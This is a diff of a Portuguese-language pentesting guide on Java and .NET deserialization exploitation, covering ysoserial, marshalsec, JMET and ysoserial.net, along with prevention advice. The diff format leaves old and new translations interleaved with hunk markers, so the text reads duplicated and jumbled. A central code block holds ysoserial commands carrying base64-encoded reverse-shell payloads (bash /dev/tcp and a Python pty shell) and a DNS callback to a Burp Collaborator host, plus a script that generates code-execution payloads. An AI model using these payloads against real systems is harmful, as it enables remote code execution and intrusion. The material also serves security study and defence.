Ao executar **gadgetinspector** (após construí-lo), não se preocupe com as toneladas de avisos/erros pelos quais ele passa e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-min.txt_. Por favor, note que **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
|
||||||
|
|
||||||
#### Teste de Caixa Preta
|
#### Teste de Caixa Preta
|
||||||
|
|
||||||
Usando a extensão do Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até mesmo as versões). Com essas informações, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até as versões). Com essa informação, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
||||||
[**Leia isso para saber mais sobre o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
[**Leia isto para saber mais sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||||
O GadgetProbe é focado em \*\* `ObjectInputStream` \*\* deserializações\*\*.\*\*
|
GadgetProbe foca em deserializações de \*\* `ObjectInputStream` \*\*.\*\*
|
||||||
|
|
||||||
Usando a extensão do Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** exploráveis com o ysoserial e **explorá-las**.\
|
Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
|
||||||
[**Leia isso para saber mais sobre o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
[**Leia isto para saber mais sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||||
O Java Deserialization Scanner é focado em deserializações de **`ObjectInputStream`**.
|
Java Deserialization Scanner foca em deserializações de **`ObjectInputStream`**.
|
||||||
|
|
||||||
Você também pode usar o [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades** de deserialização no **Burp**. Este plugin detectará não apenas vulnerabilidades relacionadas ao **`ObjectInputStream`**, mas também vulnerabilidades de bibliotecas de deserialização **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não só a \*\*`ObjectInputStream`\*\*, mas **também** de bibliotecas de deserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
||||||
[**Você pode encontrar mais informações sobre o Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
[**Você pode encontrar mais informações sobre Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||||
|
|
||||||
**Teste de Serialização**
|
**Teste de Serialização**
|
||||||
|
|
||||||
Não se trata apenas de verificar se alguma biblioteca vulnerável está sendo usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez concedendo privilégios de administrador em um aplicativo da web).\
|
Nem tudo é sobre verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez conceder privilégios de administrador dentro de um webapp).\
|
||||||
Se você encontrar um objeto serializado em Java sendo enviado para um aplicativo da web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível o objeto de serialização que está sendo enviado**. Saber quais dados você está enviando facilitaria a modificação e contornaria algumas verificações.
|
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado**. Sabendo quais dados você está enviando, seria mais fácil modificá-los e contornar algumas verificações.
|
||||||
|
|
||||||
### **Exploração**
|
### **Exploração**
|
||||||
|
|
||||||
#### **ysoserial**
|
#### **ysoserial**
|
||||||
|
|
||||||
A ferramenta mais conhecida para explorar deserializações em Java é o [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar o uso do [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), que permitirá o uso de comandos complexos (com pipes, por exemplo).\
|
A ferramenta mais conhecida para explorar deserializações Java é [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
|
||||||
Observe que esta ferramenta está **voltada** para explorar **`ObjectInputStream`**.\
|
Note que esta ferramenta é **focada** em explorar **`ObjectInputStream`**.\
|
||||||
Eu começaria usando o payload "URLDNS" **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, observe que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
|
Eu começaria **usando o payload "URLDNS"** **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
|
||||||
```bash
|
```bash
|
||||||
# PoC to make the application perform a DNS req
|
# PoC to make the application perform a DNS req
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||||
|
@ -416,12 +417,13 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkoc
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||||||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||||||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||||||
# Codificar carga útil em base64
|
|
||||||
|
# Base64 encode payload in base64
|
||||||
base64 -w0 payload
|
base64 -w0 payload
|
||||||
```
|
```
|
||||||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou até mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"`, mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você pode [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você poderia [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||||
|
|
||||||
Sinta-se à vontade para usar o seguinte script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e, em seguida, testá-los na página da web vulnerável:
|
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e depois testá-los na página web vulnerável:
|
||||||
```python
|
```python
|
||||||
import os
|
import os
|
||||||
import base64
|
import base64
|
||||||
|
@ -444,12 +446,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||||
```
|
```
|
||||||
#### serialkillerbypassgadgets
|
#### serialkillerbypassgadgets
|
||||||
|
|
||||||
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com o ysoserial para criar mais exploits**. Mais informações sobre essa ferramenta estão nos **slides da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta nos **slides da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||||
|
|
||||||
#### marshalsec
|
#### marshalsec
|
||||||
|
|
||||||
[**marshalsec**](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização **Json** e **Yml** em Java.\
|
[**marshalsec**](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização **Json** e **Yml** em Java.\
|
||||||
Para compilar o projeto, eu precisei **adicionar** essas **dependências** ao `pom.xml`:
|
Para compilar o projeto, precisei **adicionar** estas **dependências** ao `pom.xml`:
|
||||||
```markup
|
```markup
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>javax.activation</groupId>
|
<groupId>javax.activation</groupId>
|
||||||
|
@ -464,35 +466,35 @@ Para compilar o projeto, eu precisei **adicionar** essas **dependências** ao `p
|
||||||
<type>pom</type>
|
<type>pom</type>
|
||||||
</dependency>
|
</dependency>
|
||||||
```
|
```
|
||||||
**Instale o Maven** e **compile** o projeto:
|
**Instale o maven** e **compile** o projeto:
|
||||||
```bash
|
```bash
|
||||||
sudo apt-get install maven
|
sudo apt-get install maven
|
||||||
mvn clean package -DskipTests
|
mvn clean package -DskipTests
|
||||||
```
|
```
|
||||||
#### FastJSON
|
#### FastJSON
|
||||||
|
|
||||||
Saiba mais sobre essa biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||||
|
|
||||||
### Laboratórios
|
### Laboratórios
|
||||||
|
|
||||||
* Se você quiser testar alguns payloads ysoserial, você pode **executar este webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
* Se você quiser testar alguns payloads ysoserial, você pode **executar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||||
|
|
||||||
### Por que
|
### Por que
|
||||||
|
|
||||||
O Java ADORA enviar objetos serializados por todos os lugares. Por exemplo:
|
Java ADORA enviar objetos serializados para todos os lados. Por exemplo:
|
||||||
|
|
||||||
* Em **requisições HTTP** - Parâmetros, ViewState, Cookies, você escolhe.
|
* Em **requisições HTTP** – Parâmetros, ViewState, Cookies, você escolhe.
|
||||||
* **RMI** - O protocolo Java RMI amplamente utilizado é baseado em 100% de serialização.
|
* **RMI** – O protocolo Java RMI amplamente utilizado é 100% baseado em serialização
|
||||||
* **RMI sobre HTTP** - Muitos aplicativos web Java thick client usam isso - novamente, objetos 100% serializados.
|
* **RMI sobre HTTP** – Muitas aplicações web thick client Java usam isso – novamente 100% objetos serializados
|
||||||
* **JMX** - Novamente, depende de objetos serializados sendo enviados pela rede.
|
* **JMX** – Novamente, depende de objetos serializados sendo enviados pela rede
|
||||||
* **Protocolos personalizados** - Enviar e receber objetos Java brutos é a norma - o que veremos em alguns dos exploits que virão.
|
* **Protocolos Personalizados** – Enviar e receber objetos Java brutos é a norma – o que veremos em alguns dos exploits a seguir
|
||||||
|
|
||||||
### Prevenção
|
### Prevenção
|
||||||
|
|
||||||
#### Objetos Transientes
|
#### Objetos transientes
|
||||||
|
|
||||||
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deve ser serializável. Por exemplo:
|
Uma classe que implementa `Serializable` pode declarar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
|
||||||
```java
|
```java
|
||||||
public class myAccount implements Serializable
|
public class myAccount implements Serializable
|
||||||
{
|
{
|
||||||
|
@ -501,24 +503,24 @@ private transient double margin; // declared transient
|
||||||
```
|
```
|
||||||
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
#### Evite a Serialização de uma classe que precisa implementar Serializable
|
||||||
|
|
||||||
Alguns dos objetos da sua aplicação podem ser obrigados a implementar `Serializable` devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método `readObject()` deve ser declarado (com um modificador `final`) que sempre lança uma exceção:
|
Alguns dos seus objetos de aplicação podem ser forçados a implementar `Serializable` devido à sua hierarquia. Para garantir que seus objetos de aplicação não possam ser desserializados, um método `readObject()` deve ser declarado (com um modificador `final`) que sempre lance uma exceção:
|
||||||
```java
|
```java
|
||||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||||
throw new java.io.IOException("Cannot be deserialized");
|
throw new java.io.IOException("Cannot be deserialized");
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### Verifique a classe desserializada antes de desserializá-la
|
#### Verifique a classe deserializada antes de deserializá-la
|
||||||
|
|
||||||
A classe `java.io.ObjectInputStream` é usada para desserializar objetos. É possível fortalecer seu comportamento por meio de subclassificação. Essa é a melhor solução se:
|
A classe `java.io.ObjectInputStream` é usada para deserializar objetos. É possível endurecer seu comportamento por meio da subclassificação. Esta é a melhor solução se:
|
||||||
|
|
||||||
* Você pode alterar o código que faz a desserialização
|
* Você pode alterar o código que faz a deserialização
|
||||||
* Você sabe quais classes espera desserializar
|
* Você sabe quais classes espera deserializar
|
||||||
|
|
||||||
A ideia geral é substituir [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir quais classes são permitidas ser desserializadas.
|
A ideia geral é sobrescrever [`ObjectInputStream.html#resolveClass()`](https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass\(java.io.ObjectStreamClass\)) para restringir quais classes são permitidas ser deserializadas.
|
||||||
|
|
||||||
Como essa chamada ocorre antes de um `readObject()` ser chamado, você pode ter certeza de que nenhuma atividade de desserialização ocorrerá a menos que o tipo seja um que você deseja permitir.
|
Como essa chamada acontece antes de um `readObject()` ser chamado, você pode ter certeza de que nenhuma atividade de deserialização ocorrerá, a menos que o tipo seja um que você deseja permitir.
|
||||||
|
|
||||||
Um exemplo simples disso é mostrado aqui, onde a classe `LookAheadObjectInputStream` é garantida de não desserializar nenhum outro tipo além da classe `Bicycle`:
|
Um exemplo simples disso é mostrado aqui, onde a classe `LookAheadObjectInputStream` garante não deserializar nenhum outro tipo além da classe `Bicycle`:
|
||||||
```java
|
```java
|
||||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||||
|
|
||||||
|
@ -538,16 +540,16 @@ return super.resolveClass(desc);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**Fortalecer todo o uso de java.io.ObjectInputStream com um Agente**
|
**Endureça Todo o Uso de java.io.ObjectInputStream com um Agente**
|
||||||
|
|
||||||
Se você não possui o código ou não pode esperar por uma correção, usar um agente para adicionar fortalecimento ao `java.io.ObjectInputStream` é a melhor solução.\
|
Se você não possui o código ou não pode esperar por um patch, usar um agente para tecer o endurecimento em `java.io.ObjectInputStream` é a melhor solução.\
|
||||||
Usando essa abordagem, você só pode colocar em uma lista negra tipos maliciosos conhecidos e não colocá-los em uma lista branca, já que você não sabe quais objetos estão sendo serializados.
|
Usando essa abordagem, você pode apenas colocar na lista negra os tipos maliciosos conhecidos e não colocá-los na lista branca, pois você não sabe quais objetos estão sendo serializados.
|
||||||
|
|
||||||
Para habilitar esses agentes, basta adicionar um novo parâmetro JVM:
|
Para habilitar esses agentes, basta adicionar um novo parâmetro JVM:
|
||||||
```
|
```
|
||||||
-javaagent:name-of-agent.jar
|
-javaagent:name-of-agent.jar
|
||||||
```
|
```
|
||||||
Exemplo: [rO0 por Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
Exemplo: [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||||
|
|
||||||
### Referências
|
### Referências
|
||||||
|
|
||||||
|
@ -559,11 +561,12 @@ Exemplo: [rO0 por Contrast Security](https://github.com/Contrast-Security-OSS/co
|
||||||
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||||
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||||
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||||
* Artigo sobre deserializações CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
* Artigo e palestra sobre deserialização de JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||||
|
* CVEs de Deserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||||
|
|
||||||
## Injeção de JNDI e log4Shell
|
## JNDI Injection & log4Shell
|
||||||
|
|
||||||
Descubra o que é **Injeção de JNDI, como abusá-la via RMI, CORBA e LDAP e como explorar o log4shell** (e exemplo dessa vulnerabilidade) na seguinte página:
|
Descubra o que é **JNDI Injection, como abusar dele via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na seguinte página:
|
||||||
|
|
||||||
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
||||||
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||||
|
@ -571,7 +574,7 @@ Descubra o que é **Injeção de JNDI, como abusá-la via RMI, CORBA e LDAP e co
|
||||||
|
|
||||||
## JMS - Java Message Service
|
## JMS - Java Message Service
|
||||||
|
|
||||||
> O **Java Message Service** (**JMS**) API é uma API de middleware orientada a mensagens em Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. O JMS é parte da Plataforma Java, Enterprise Edition (Java EE), e foi definido por uma especificação desenvolvida pela Sun Microsystems, mas que desde então tem sido guiada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Ele permite que a comunicação entre diferentes componentes de um aplicativo distribuído seja desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
> A API **Java Message Service** (**JMS**) é uma API de middleware orientada a mensagens Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema produtor-consumidor. JMS faz parte da Java Platform, Enterprise Edition (Java EE) e foi definido por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido orientada pelo Java Community Process. É um padrão de mensagens que permite que componentes de aplicativos baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite a comunicação entre diferentes componentes de uma aplicação distribuída de forma desacoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
||||||
|
|
||||||
### Produtos
|
### Produtos
|
||||||
|
|
||||||
|
@ -583,12 +586,12 @@ Existem vários produtos que usam esse middleware para enviar mensagens:
|
||||||
|
|
||||||
### Exploração
|
### Exploração
|
||||||
|
|
||||||
Basicamente, existem **vários serviços que usam o JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos serializados maliciosos que serão desserializados pelo consumidor/assinante**.\
|
Então, basicamente existem **vários serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens a esses serviços (geralmente você precisará de credenciais válidas), você poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||||
Isso significa que, nessa exploração, todos os **clientes que vão usar essa mensagem serão infectados**.
|
Isso significa que nessa exploração todos os **clientes que vão usar essa mensagem serão infectados**.
|
||||||
|
|
||||||
Lembre-se de que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando inseguramente a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||||
|
|
||||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos serializados maliciosos usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro do aplicativo vulnerável.
|
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda estiver vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
||||||
|
|
||||||
### Referências
|
### Referências
|
||||||
|
|
||||||
|
@ -597,42 +600,43 @@ A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **co
|
||||||
|
|
||||||
## .Net
|
## .Net
|
||||||
|
|
||||||
O .Net é semelhante ao Java em relação à forma como os exploits de desserialização funcionam: o **exploit** irá **abusar de gadgets** que **executam** algum **código interessante quando** um objeto é **desserializado**.
|
.Net é semelhante ao Java em relação a como os exploits de desserialização funcionam: O **exploit** irá **abusar de gadgets** que **executam** algum **código interessante quando** um objeto é **desserializado**.
|
||||||
|
|
||||||
### Fingerprint
|
### Fingerprint
|
||||||
|
|
||||||
#### WhiteBox
|
#### WhiteBox
|
||||||
|
|
||||||
Pesquise o código-fonte pelos seguintes termos:
|
Pesquise no código-fonte pelos seguintes termos:
|
||||||
|
|
||||||
1. `TypeNameHandling`
|
1. `TypeNameHandling`
|
||||||
2. `JavaScriptTypeResolver`
|
2. `JavaScriptTypeResolver`
|
||||||
|
|
||||||
Procure por qualquer serializador onde o tipo seja definido por uma variável controlada pelo usuário.
|
Procure por qualquer serializador onde o tipo é definido por uma variável controlada pelo usuário.
|
||||||
|
|
||||||
#### BlackBox
|
#### BlackBox
|
||||||
|
|
||||||
Você pode procurar pela string codificada em Base64 **AAEAAAD/////** ou qualquer outra coisa que **possa ser desserializada** no back-end e que permita controlar o tipo desserializado. Por exemplo, um **JSON** ou **XML** contendo `TypeObject` ou `$type`.
|
Você pode procurar pela string codificada em Base64 **AAEAAAD/////** ou qualquer outra coisa que **possa ser desserializada** no back-end e que permita controlar o tipo desserializado\*\*.\*\* Por exemplo, um **JSON** ou **XML** contendo `TypeObject` ou `$type`.
|
||||||
|
|
||||||
### ysoserial.net
|
### ysoserial.net
|
||||||
|
|
||||||
Nesse caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Após baixar o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Uma vez baixado o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
||||||
|
|
||||||
Se você quiser aprender sobre **como o ysoserial.net cria seus exploits**, você pode [**verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
Se você quiser aprender sobre **como o ysoserial.net cria seus exploits**, você pode [**verificar esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||||
|
|
||||||
As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* e **`--plugin`.**
|
As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, \*\*`--output` \*\* e **`--plugin`.**
|
||||||
|
|
||||||
* **`--gadget`** usado para indicar o gadget a ser explorado (indique a classe/função que será explorada durante a desserialização para executar comandos).
|
* **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
||||||
* **`--formatter`**, usado para indicar o método de serialização do exploit (você precisa saber qual biblioteca está sendo usada no back-end para desserializar a carga útil e usar a mesma para serializá-la)
|
* **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca o back-end está usando para desserializar o payload e usar a mesma para serializá-lo)
|
||||||
* \*\*`--output` \*\* usado para indicar se você deseja o exploit em formato **raw** ou codificado em Base64. _Observe que o **ysoserial.net** irá **codificar** a carga útil usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o formato raw e apenas codificá-lo a partir de um console Linux, poderá ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (no HTB JSON box, a carga útil funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
